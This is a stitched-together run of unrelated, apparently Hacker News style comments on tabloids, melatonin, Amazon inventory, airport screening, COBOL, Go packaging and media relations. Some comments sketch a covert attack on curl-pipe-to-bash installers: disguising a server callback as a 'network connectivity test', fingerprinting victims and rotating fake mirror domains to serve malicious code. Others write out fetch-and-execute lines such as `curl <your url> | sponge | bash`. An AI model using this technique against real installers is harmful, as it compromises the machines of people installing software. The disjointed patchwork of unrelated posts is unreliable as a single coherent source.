> I'm not sure how often the National Enquirer and it's supermarket checkout line cousins publish

Both common local tabloids (which are often have basic journalistic standards, though they frequently have...interesting...editorial viewpoints) and the supermarket tabloids like the Enquirer are weeklies.
Sorry about that. I should proofread my posts.

Honestly for me the ideal dose is 250ug. I take half of a Trader Joe’s 500ug pill.

Melatonin has a U shaped dose curve so you either need a tiny bit or a whole lot to be effective.

500ug leaves me groggy in the morning, 250 is perfect.
I'm not being obtuse: you are implying that we cannot ever criticize capitalism because that means a request for communism. This does not follow. It also shuts down criticism completely, which is never something you want, even for a good system.

If I criticize Agile, does that mean I propose Waterfall?

Perhaps we've met in Charles De Gaulle then, as I had an Indian gentleman who stood next to me in the boarding line who struck up a conversation along the same lines. He had been telling me how he always gets pulled aside, and since he travels so much for work, on too many occasions it's caused flight delays as he was asked to explain in great detail what he was doing, where he was going, etc. And it's not even like his business took him to politically active zones.

Without evidence other than anecdotal, I'm sure it's true that there's heavy and undeserved bias for the airport security, and I'm not sure which would be better; to continue in silence about the bias, or to put it out in the open.
That’s simply not true. A lot of terminals can’t output even ‘ls’ fast enough once colored output is enabled.
At the time when this really mattered, everyone was a party member as not being one meant not being to find a job and be practically outcast.

What mattered much more, was: are you related to a high-ranking party member or not?
I dont think you shipped a whole Rack back because a single fan was broken either.

>I hope they don't commingle Amazon's stuff with 3rd party sellers...

Sorry, but they do. I've sold new stuff on Amazon. I ship it out to their warehouses. When you look at the product, you will see my price amongst the various Prime sellers. However, when you ship something new to Amazon, they ask whether it is OK to comingle your product with Amazon's. There's no good reason to say "No". So when you buy from me, you could be getting the one owned by Amazon, and vice versa.
That certainly helps, but I wouldn't jump straight to "less dangerous", based on my experience with repairing my own hobby old-timer with very little experience. It's easy to overlook a small thing that might affect safety without you knowing it. Also, mechanics get sued for malpractice right?
Double wow.

You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

# Check network connectivity so we can continue the install

Of course, what actually is happening is that we've just informed the server to now serve our malicious code.
You're right to complain that conquistadog's comment was irrelevant to your main point. It's frustrating when people miss what you are saying and get so hooked on trivialities. Incidentally, your nitpicking about my use of the word duress is also irrelevant.

Next, you call people childish, when you are acting immaturely. How does name-calling generally work out for you as a means for settling disagreements?

It also bugs me that you are not even technically correct. You see, I looked up the definition of duress before I posted. I am British, so I used the OED and it told me that in the legal sense of the word, duress is, "Constraint illegally exercised to force someone to perform an act." Based on that definition, I don't think I could have picked a word that would better suit my intention.

No, the best vacation depends on you and what you want when you go on your vacation. Sometimes I want to ride my bike as far as I can for multiple weeks, sometimes I want to go to a new part of the world, sometimes I want to go to a resort and sometimes I want to stay home.
I have sold on Amazon via FBA. Everything you say is true. If I ship a new item to Amazon's warehouses, I go through a step in the process where I explicitly give Amazon permission to comingle my item with theirs.
Is it just me? Did I just read a blog post that said “We don’t do this thing I’m going to explain how we do the thing we don’t do.”
I have been watching his channel when it was called Car Gurus and he had to change it. What is so awesome is how he is pushing the needle for the right to repair argument. As a TSLA stock holder I want him to continue to push that POV. It will only be a matter of time.
Like I was saying, it would make sense for Git to sandbox its hooks. One valid way of doing this is to replace arbitrary-executable hooks with hooks that run in a sandboxed scripting environment, such as an embedded Lua interpreter; or hooks that are compiled to target a sandboxed VM, such as ZeroVM, PNaCl, or (a different profile of) WASM.

I wasn’t suggesting that we actually allow devs to sync bash scripts around, although I was pointing out that that’s what we’re presently already doing with e.g. Debian package hook scripts.

You are right that that is the ideal manager, but managers are flawed human beings like the rest of us. What’s more, a managers view of the company’s business goals and an individual contributors view of business goals aren’t always the same (great managers succeed in making them so, but see the flawed human comment.)

An example of why investing understanding your managers world can pay off- a few years ago my team needed some servers for a reason I don’t recall. Our manager had said no because she (legitimately) didn’t have the budget.
I knew there was a huge push to people in her role to utilize our cloud environment, so I reframed our request to get access to that.* She put in the request, we got our virtual servers, she got to check a box on her review, and everyone was happy.

Point being, while you can’t always have a amazing manager, you can still have a great relationship with an adequate manager that gets you close to what you’d have in the best circumstances. You just have to work at it more (although if your manager can’t do organizational politics you might be in for some hurt regardless.) And there are some truly awful managers out there who you just leave.

* Ok, it wasn’t just me who worked winning her over, but the story got weird writing in the plural.

This is true for alcohol but I'm not sure about cannabis.

In California, a heavy indica is a recommended by doctors for sleep. My understanding is that it only affects R.E.M. sleeep.

Anecdotally, I track my sleep and when I smoked a heavy indica before bed I would consistently get at high 80 to 90% sleep quality. I'm on a couple of month tolerance break and have a hard time breaking 80% sleep quality.

For me, it took a solid two weeks before I saw a regulation of my sleep pattern. Same time of day, 3 hours before I wanted to sleep, turning off all screens and eventually covering my eyes with a sleeping mask. Time released, low (correct) dosing too. Too much melatonin like pushes your brain past sleep.
Combine this with the recent advances in deep learning based lip reading and you should really know how fucked we all are.

Melatonin doses of the standard distribution seem great for crazy fucking dreams, but little else.

This suggests to me you are long term dream deprived for some reason, whether due to sleep deprivation or drug use, whether "recreational" or prescription. Anytime you start sleeping better/deeper/more after a long period of sleep deprivation or use of substances that suppress dream function, you have very vivid dreams for a time. This is unavoidable.

Alcohol suppresses dreams. So do many other things.
That's a good one xD
The quotes I presented amply support the idea she did not see it as abuse of her by Clinton, now or then.

The Lewinsky case offers nothing to support other claims against Clinton. For one thing, Lewinsky never accused Clinton of anything. For another, she has no personal knowledge of the other alleged incidents.
In the same way targeted surveillance from 50 years ago was different from the total surveillance of everyone today, or in the way air strikes from 2 decades ago are different from the tens of thousands of drones strikes that the US launches every year, a number that is bound to increase at least another ten fold if the drones strikes are automated.

The differences are cost and scope. The cheaper it is, the easier it is move from doing it to "highly-valuable and highly-like to be guilty targets" to increasingly more innocent people (because "why not?"). That's how the governments think (unless the people strongly oppose these new changes).

You're overestimating the cost of bulk VPN services. It's like $1.50 per click worker desktop PC terminal per month, and that's if they don't have a decently skilled sysadmin to DIY it.

The framerate of the physics simulation can be decoupled from the frame rate of the rendering loop. For example, you can aim for a 30fps steady timestep simulation and a vsync-capped rendering. you can then use interpolation methods for quick-and-dirty calculation to smooth the movement to match the rendering timestep.
I wonder if things would be different if there wasn't such a big media spotlight on Tesla. Having more repair shops would be a help to them, they are barely coping.

Luckily, modern medical science isn't based on your imagination. The more vaccines that are available, the better. It doesn't mean that everybody will take them all. In most cases it will be based on risk. However, having had norovirus twice in the past decade, I'd sign up in a moment. Even though it's rarely life-threatening, it's extremely infectious, and extremely unpleasant.

That's mistaken because:

bash -c "`echo echo hi`"

note that `echo echo hi` is fully read, and then (and only then) passed to bash.

ditto for

echo -c "`curl <your url>`"

The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.

It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.
Bash: execute an unsigned script to install an unsigned payload. Probably requires admin rights.

Because of this problem I'd be really hesitant to use .co for anything I care about unless I was Colombian or doing business primarily in Colombia.
The point is that I don't have to change any of my source code in order to change what registry I point at.

I can use "foo.registry.com" with no changes to my rust source code.

If I want to switch go from "old.com/x/package" to "foo.com/x/package" I have to rewrite all the source code first.

That's the weird coupling which makes go not so configurable; code has no place dictating where it's downloaded from, yet go packages do that. I can't use the go package management ecosystem if my canonical import path doesn't resolve (e.g. dep won't work, go get won't work, vgo won't work).

I never have to worry about my rust code having a magic comment in it which makes the package manager incapable of fetching it from some arbitrary differently named mirror.
That's simply not possible in a well designed package management system.
> less fiddly

If the melatonin is in pressed-pill form, rather than splitting it, you can just crush it in a mortar, then mix it with more filler (look at which one they’re already using on the bottle and use some of that; they’re usually using the cheapest thing that works.) Then you can simply measure out powder for a dose (rather than measuring out liquid).

If you want to go the extra mile, you can add enough filler to the mixture to fill a grid of gelatin half-capsules, such that you don’t have to worry about measuring doses.
I'm sorry, but you really don't understand how working with the media works. You seem stuck on this idea that earned media has to be positive. It doesn't have to be, and it won't always be. If you expect it all to be positive, you will be disappointed and burn many bridges with journalists.

When you get negative coverage, accept it as the other side of the earned media coin. It is more effective than advertising because it has the potential to be negative. If there was never negative coverage, earned media wouldn't be worth pursuing. And, if you dig into the negative coverage, you'll often learn a lot from it. So, when you get negative coverage, email the journalist, thank them for writing about you, reaffirm that you're always available to talk, and then ignore it.

If an outlet has a history of attacking you, consider why they are attacking you and if the attacks have merit. If it's because you've been difficult in the past, you need to find a good PR person and get some media training in a hurry. You specifically want a PR person who entered the field through journalism, not marketing. Your PR person will be to work with the initial storm. If you caused the mess, you likely need to be hands off during this stage. And then, you need media training so that you don't offend a media outlet again.

It sounds like you have a rough time with media. Do you use the word 'exclusive'? If so, are you sure that you know what it means? Aside from lying, or being evasive, the best way to offend an outlet is to misuse the word.

Retractions don't happen very often, and unless you have very serious evidence, they aren't even worth going for. In the absence of serious evidence, a crafty editor will use your quest for a retraction as an excuse to keep writing about you. The goal is always to get them to stop writing, not give them reason to write more.

And frankly, publications will always write things that are technically true without adding any context. Never assume that this is because of malice because truth is, they likely don't care enough to be malicious. The sooner you get over this idea of a big, bad malicious media, the sooner you will learn how to work with them.
No? Police actions are supposed to be transparent to the public. Should we treat every single government agency as if they deal with super-secret national security issues and allow them to keep everything secret?
Mad Men isn't historical evidence of anything. It's a fiction. It's as relevant as The Planet of the Apes.
Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.
> or generally in a good mood.

Is anyone in a TSA line in a "good mood"?
You're painting everything with a very broad brush. The "state" by and large has to be transparent to the public.
That is a terrible idea from someone who doesn't know COBOL.

Programs in COBOL mostly don't need pointers and offer better type safety than C. They often used nested structures of records, which are a pain to represent in C. Language is also stricter when it comes to modularity.

Rewriting in C would make most COBOL programs worse.

Also, floating-point is really not the issue. What you in fact want, on the IBM Mainframe at least, is to move to hardware decimal floating-point (latest IEEE 754), which is way faster than IBM's packed decimal (fixed-point) system commonly used in COBOL.

Finally, legacy COBOL systems either have or not have bugs which cause certain edge-case behavior and this is really hard to reproduce in another system.

There are three main aspects to learning a new language

- syntax familiarity. This should come to fluency in a few weeks of daily usage (or more for languages with very unique syntax in comparison to what you're familiar with). You'll find yourself discovering new ways to use a syntax expressively or leverage the syntax for correctness for the rest of your career.

- common libraries and idiomatic patterns. This will take years, but is more linear than front-loaded like syntax. There's always a new pattern or library. My guess is you're judging yourself on this aspect. Don't. Everyone goes at the same pace on this metric.

- infrastructure. How does it build, how to configure the runtime, when does it blow up or exhaust threads or do random things like spin the CPU for no damned reason or deoptimize a function. No person can be an expert at a language without a solid grasp on these features of a language implementation. You don't go "deep" on a language without it. You should have two or three of these after ten years unless you're weird and like it. But if you're a 10 year dev without one, quit.

More to your question: I expect senior backend/fullstack devs to be experts at at least one language, at least one RDBMS, and at least one extra tech like elasticsearch, mongo, redis, etc. Without that, you'll just get paid less. If you're not expecting to be called a senior developer, then you shouldn't be expected to be deep in any technology. If you're having trouble getting shallow on new technologies, however, yeah you should probably quit.
> You shouldn't be fetching a key from the site that might be compromised.

You shouldn't, but people do, and are being directed to do so increasingly as Linux becomes more popular. Software developers want to be software publishers so bad that they're just going to keep pushing, and therein lies the risk: If people get the impression that packages are somehow more secure than shell scripts, then these kinds of attacks will simply become more prevalent.

To you it's obvious that packages aren't more secure, it's how you get them that makes their normal use more secure. That's apparently too subtle a point for even big companies like Microsoft.

Same situation - blonde haired, blue eyed white guy. For a while I was getting checked on every single flight I took, something like 10 flights in a row. I even asked why, to be told it was random - bullshit. Flipping heads 10 times in a row is not "random". They would stand there and wait for me!

I actually have a theory, which is that I (and yourself, and the GP) are targeted to provide deniability of racial profiling. Build up a buffer of whiter-than-white business guys and then no-one can accuse you of racism when you grab the person you really want. No idea if there's any truth to it but it's the only reason I could come up with.
